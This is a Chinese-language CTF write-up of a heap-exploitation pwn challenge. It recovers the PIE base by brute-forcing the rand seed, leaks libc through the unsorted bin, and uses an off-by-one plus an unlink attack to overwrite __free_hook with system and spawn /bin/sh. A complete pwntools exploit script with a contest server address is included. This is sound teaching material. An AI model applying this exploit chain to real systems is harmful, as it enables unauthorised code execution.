作者:Hcamael@知道創宇404實驗室
發布時間:2017-11-03
前幾天做了看雪ctf的一道pwn題,但是工作比較忙,一直沒時間寫wp,今天有空了,把wp補上
據說這題出題人出題失誤,導致題目難度大大下降,預期是house_of_orange的,但是利用unlink就能做了
獲取ELF基地址
程序中有一個猜隨機數的功能,代碼大致邏輯如下:
*seed = &seed;
srand(&seed);
......
v1 = rand();
puts("Please input the number you guess:");
printf("> ");
if ( v1 == sub_AFA() )
result = printf("G00dj0b!You get a secret: %ld!\n", *&seed);
else
result = printf("Wr0ng answer!The number is %d!\n", v1);
return result;
.bss:0000000000202148 seed
使用seed變量的地址作為偽隨機數生成器的種子, 因為這個程序開啟了PIE保護,所以實際上每次程序運行,種子都是不一樣的, 然后隨機生成一個數讓你猜,猜對了告訴你種子,猜錯了告訴你這個隨機數
如果我們能得到種子,因為ELF基地址和seed地址的偏移值是固定的,所以我們就能算出ELF的基地址了
然后去翻閱了下random的源碼:https://code.woboq.org/userspace/glibc/stdlib/random.c.html
207 void __srandom (unsigned int x)
209 {
210 __libc_lock_lock (lock);
211 (void) __srandom_r (x, &unsafe_state);
212 __libc_lock_unlock (lock);
213 }
214
215 weak_alias (__srandom, srandom)
216 weak_alias (__srandom, srand)
發現,__srandom的參數是無符號整型,長度只有32bit
雖然開了PIE,但ELF的基地址因為系統頁對其的原因,最后12bit固定是0,所以,我們只需要爆破20bit,這是非常容易的,下面是部分payload代碼:
def get_rand_num():
guess_num(123)
r.readuntil("is ")
random_num = int(r.readuntil("!")[:-1])
return random_num
def get_elf_base(random_num):
guess_num(random_num)
r.readuntil("secret:")
elf_base = int(r.readuntil("!")[:-1])
return elf_base-seed_address
def guest(random_num):
seed_base = 0x202148
libc = cdll.LoadLibrary("libc.so.6")
for x in xrange(0x10000000, 0xfffff000, 0x1000):
libc.srand(x+seed_base)
if libc.rand() == random_num:
next_randnum = libc.rand()
break
return next_randnum
def main():
random_num = get_rand_num()
next_randnum = guest(random_num)
elf_base = get_elf_base(next_randnum)
print "get ELF base address: 0x%x"%elf_base
因為python的random和c的是不一樣的,所以這里使用ctypes去調用libc中的random
ELF中的漏洞
最關鍵的一個就是有一個bool標志位,默認值是0,表示該box沒有malloc,當malloc后標志位會設置為1,但是當free后,卻沒有把標志位清零,這就導致可以無限free,一個被free的box,也可以修改和輸出box的內容
另一個關鍵的漏洞是修改box內容的函數中存在off by one
for ( i = 0; dword_202090[v3] >= i; ++i )
{
read(0, &buf, 1uLL);
if ( buf == 10 )
break;
*(i + qword_202100[v3]) = buf;
}
如果長度有24的box,卻可以輸入25個字符
還有一個也算漏洞的是再show message函數中,輸出使用了puts,輸出是根據\x00判斷結尾,而不是長度,而在修改message的函數中也沒有在用戶輸入的數據結尾加\x00,所以有可能導致信息泄露,不過這個漏洞對我來說不重要,我的利用方法中,不包含其信息泄露的利用
獲取LIBC基地址
泄露LIBC地址的思路很簡單,上面說了當一個box被free后因為標志位沒有被清零,所以任然可以往里面寫數據,輸出數據。
如果我們free一個非fast chunk的chunk,也就是說free一個chunk size大于maxfastsize的chunk,將會和unsortbin形成雙鏈表,這個時候的結構如下:

這個時候fd和bk都指向arena中的top_chunk指針,我們能通過輸出該box獲取到該地址,然后根據偏移值計算出libc的基地址,部分代碼如下:
def get_libc_base():
free_box(3)
show_message(3)
data = r.readuntil("You")[:-3].strip()
top = u64(data+"\x00\x00")
return top - top_chunk
def main():
....
create_box(1, 24)
create_box(2, 168)
create_box(3, 184)
create_box(4, 200)
libc_base = get_libc_base()
print "get libc base address: 0x%x"%libc_base
free的那個box不能是最后一個chunk,否則會和top chunk合并
unlink利用
網上很多unlink的文章,我就不細說了,簡單的來說就是要過一個判斷,執行一個指令
需要過一個判斷:
P->fd->bk == P
P->bk->fd == P
執行一個指令
FD = P->fd
BK = P->bk
FD->bk = BK
BK->fd = FD
當利用之前的代碼,泄露完libc地址后,堆布局是這樣的:
0x555555757410: 0x0000000000000000 0x0000000000000021 <- box1
0x555555757420: 0x0000000000000000 0x0000000000000000
0x555555757430: 0x0000000000000000 0x00000000000000b1 <- box2
0x555555757440: 0x0000000000000000 0x0000000000000000
0x555555757450: 0x0000000000000000 0x0000000000000000
0x555555757460: 0x0000000000000000 0x0000000000000000
0x555555757470: 0x0000000000000000 0x0000000000000000
0x555555757480: 0x0000000000000000 0x0000000000000000
0x555555757490: 0x0000000000000000 0x0000000000000000
0x5555557574a0: 0x0000000000000000 0x0000000000000000
0x5555557574b0: 0x0000000000000000 0x0000000000000000
0x5555557574c0: 0x0000000000000000 0x0000000000000000
0x5555557574d0: 0x0000000000000000 0x0000000000000000
0x5555557574e0: 0x0000000000000000 0x00000000000000c1 <- box3
0x5555557574f0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555757500: 0x0000000000000000 0x0000000000000000
0x555555757510: 0x0000000000000000 0x0000000000000000
0x555555757520: 0x0000000000000000 0x0000000000000000
0x555555757530: 0x0000000000000000 0x0000000000000000
0x555555757540: 0x0000000000000000 0x0000000000000000
0x555555757550: 0x0000000000000000 0x0000000000000000
0x555555757560: 0x0000000000000000 0x0000000000000000
0x555555757570: 0x0000000000000000 0x0000000000000000
0x555555757580: 0x0000000000000000 0x0000000000000000
0x555555757590: 0x0000000000000000 0x0000000000000000
0x5555557575a0: 0x00000000000000c0 0x00000000000000d0 <- box4
0x5555557575b0: 0x0000000000000000 0x0000000000000000
0x5555557575c0: 0x0000000000000000 0x0000000000000000
然后在.bss段有個地方儲存著box的地址:
pwndbg> x/6gx 0x202100+0x555555554000
0x555555756100: 0x0000000000000000 0x0000555555757420
0x555555756110: 0x0000555555757440 0x5555557574f0
0x555555756120: 0x00005555557575b0 0x0000000000000000
因為在free box函數的代碼中,有一個判斷:
if ( !dword_202130[v1] || dword_2020B0[v1] )
return puts("You can not destroy the box!");
而dword_2020B0是已經初始化過,然后沒有代碼修改過的變量
.data:00000000002020B0 dword_2020B0 dd 2 dup(1), 2 dup(0), 2 dup(1)
擴展開了就是[1, 1, 0, 0, 1, 1]
所以只有2, 3兩個box能被free
在之前已經free過了box3,如果再次free box3,無法觸發unlink操作,unlink操作只有在前一個或者后一個chunk未被使用時才會觸發,所以我們需要通過free box2來進行觸發unlink操作
通過leave message函數來構造一個堆結構:
pwndbg> x/64gx 0x555555757410
0x555555757410: 0x0000000000000000 0x0000000000000021
0x555555757420: 0x0000000000000000 0x0000000000000000
0x555555757430: 0x0000000000000000 0x00000000000000c1 修改長度為0xc1
0x555555757440: 0x0000000000000000 0x0000000000000000
0x555555757450: 0x0000000000000000 0x0000000000000000
0x555555757460: 0x0000000000000000 0x0000000000000000
0x555555757470: 0x0000000000000000 0x0000000000000000
0x555555757480: 0x0000000000000000 0x0000000000000000
0x555555757490: 0x0000000000000000 0x0000000000000000
0x5555557574a0: 0x0000000000000000 0x0000000000000000
0x5555557574b0: 0x0000000000000000 0x0000000000000000
0x5555557574c0: 0x0000000000000000 0x0000000000000000
0x5555557574d0: 0x0000000000000000 0x0000000000000000
0x5555557574e0: 0x0000000000000000 0x00000000000000c1
0x5555557574f0: 0x00007ffff7dd1b78 0x00000000000000b1 構造成一個新的堆,長度為0xb1
0x555555757500: 0x0000555555756100 0x0000555555756108 構造fd和bk
0x555555757510: 0x0000000000000000 0x0000000000000000
0x555555757520: 0x0000000000000000 0x0000000000000000
0x555555757530: 0x0000000000000000 0x0000000000000000
0x555555757540: 0x0000000000000000 0x0000000000000000
0x555555757550: 0x0000000000000000 0x0000000000000000
0x555555757560: 0x0000000000000000 0x0000000000000000
0x555555757570: 0x0000000000000000 0x0000000000000000
0x555555757580: 0x0000000000000000 0x0000000000000000
0x555555757590: 0x0000000000000000 0x0000000000000000
0x5555557575a0: 0x00000000000000b0 0x00000000000000d0 修改prev_size為0xb0
0x5555557575b0: 0x0000000000000000 0x0000000000000000
0x5555557575c0: 0x0000000000000000 0x0000000000000000
0x5555557575d0: 0x0000000000000000 0x0000000000000000
0x5555557575e0: 0x0000000000000000 0x0000000000000000
0x5555557575f0: 0x0000000000000000 0x0000000000000000
0x555555757600: 0x0000000000000000 0x0000000000000000
構造了一個fd和bk指向存儲box 地址的.bss段,這樣就能構成一個雙鏈表,bypass unlink的check:
P->fd->bk == P
P->bk->fd == P
不過這個時候如果free box2,會報錯退出,報錯的內容是 free(): corrupted unsorted chunks
去源碼中搜一下該error的check:
4248 bck = unsorted_chunks(av);
4249 fwd = bck->fd;
4250 if (__glibc_unlikely (fwd->bk != bck))
4251 malloc_printerr ("free(): corrupted unsorted chunks")
bck指向unsortbin,所以fwd指向box3,然而box3的bk已經被構造成了新chunk的size位,所以報錯退出了
這個時候只需要在free box2之前,malloc一個box5,這樣將會把unsortbin中的box3分類到smallbin中,從而bypass unsortbin check
利用
在free box2之后,內存大致如下:
pwndbg> x/6gx 0x202100+0x555555554000
0x555555756100: 0x0000000000000000 0x0000555555757420
0x555555756110: 0x0000555555757440 0x0000555555756100
0x555555756120: 0x00005555557575b0 0x0000555555757680
box3的地址已經指向該bss段,從而我們已經可以做到任意地址寫了
我的利用思路是,把box 2修改為free_hook的地址,然后把box 0修改為/bin/sh\0正好8byte,這樣box 3就是一個/bin/sh字符串了
我們只需要在free_hook中寫上system的地址,調用free(box 3),則相當于調用system("/bin/sh\0"),從而達到getshell
完整payload如下:
from pwn import *
from ctypes import cdll
DEBUG = 1
if DEBUG:
context.log_level = "debug"
r = process("./club")
e = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
r = remote("123.206.22.95", 8888)
e = ELF("./libc.so.6")
malloc_hook = e.symbols['__malloc_hook']
free_hook = e.symbols['__free_hook']
system_address = e.symbols['system']
top_chunk = malloc_hook + 0x68
seed_address = 0x202148
addr_list = 0x202100
one_gadget = 0xf0274
puts_got = 0x202028
def create_box(n, l):
r.readuntil(">")
r.sendline("1")
r.readuntil(">")
r.sendline(str(n))
r.readuntil(">")
r.sendline(str(l))
def free_box(n):
r.readuntil(">")
r.sendline("2")
r.readuntil(">")
r.sendline(str(n))
def leave_message(n, msg):
r.readuntil(">")
r.sendline("3")
r.readuntil(">")
r.sendline(str(n))
r.sendline(msg)
def show_message(n):
r.readuntil(">")
r.sendline("4")
r.readuntil(">")
r.sendline(str(n))
def guess_num(n):
r.readuntil(">")
r.sendline("5")
r.readuntil(">")
r.sendline(str(n))
def get_rand_num():
guess_num(123)
r.readuntil("is ")
random_num = int(r.readuntil("!")[:-1])
return random_num
def guest(random_num):
seed_base = 0x202148
libc = cdll.LoadLibrary("libc.so.6")
for x in xrange(0x10000000, 0xfffff000, 0x1000):
libc.srand(x+seed_base)
if libc.rand() == random_num:
next_randnum = libc.rand()
break
return next_randnum
def get_elf_base(random_num):
guess_num(random_num)
r.readuntil("secret:")
elf_base = int(r.readuntil("!")[:-1])
return elf_base-seed_address
def get_libc_base():
free_box(3)
show_message(3)
data = r.readuntil("You")[:-3].strip()
top = u64(data+"\x00\x00")
return top - top_chunk
def main():
random_num = get_rand_num()
next_randnum = guest(random_num)
elf_base = get_elf_base(next_randnum)
print "get ELF base address: 0x%x"%elf_base
create_box(1, 24)
create_box(2, 168)
create_box(3, 184)
create_box(4, 200)
libc_base = get_libc_base()
create_box(5, 300)
print "get libc base address: 0x%x"%libc_base
set_list2_size = p64(0xc1)*3 + "\xc1"
leave_message(1, set_list2_size)
set_list3 = p64(0) + p64(0xb1) + p64(elf_base+addr_list) + p64(elf_base+addr_list+8)
set_list3 += "a"*0x90+p64(0xb0)
leave_message(3, set_list3)
free_box(2)
write_address_list = "/bin/sh\x00" + "a"*8 + p64(libc_base+free_hook)
leave_message(3, write_address_list)
leave_message(2, p64(libc_base+system_address))
free_box(3)
# leave_message(3, "aaaaaaaa")
# show_message(3)
r.interactive()
if __name__ == '__main__':
main()
總結
unlink原理很早我就知道了,但是卻是第一次實踐,理論和實際還是差很大的,所以我踩了挺多的坑,花了挺多的時間
我還考慮過fastbin的double free的利用,但是失敗了......
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/447/
暫無評論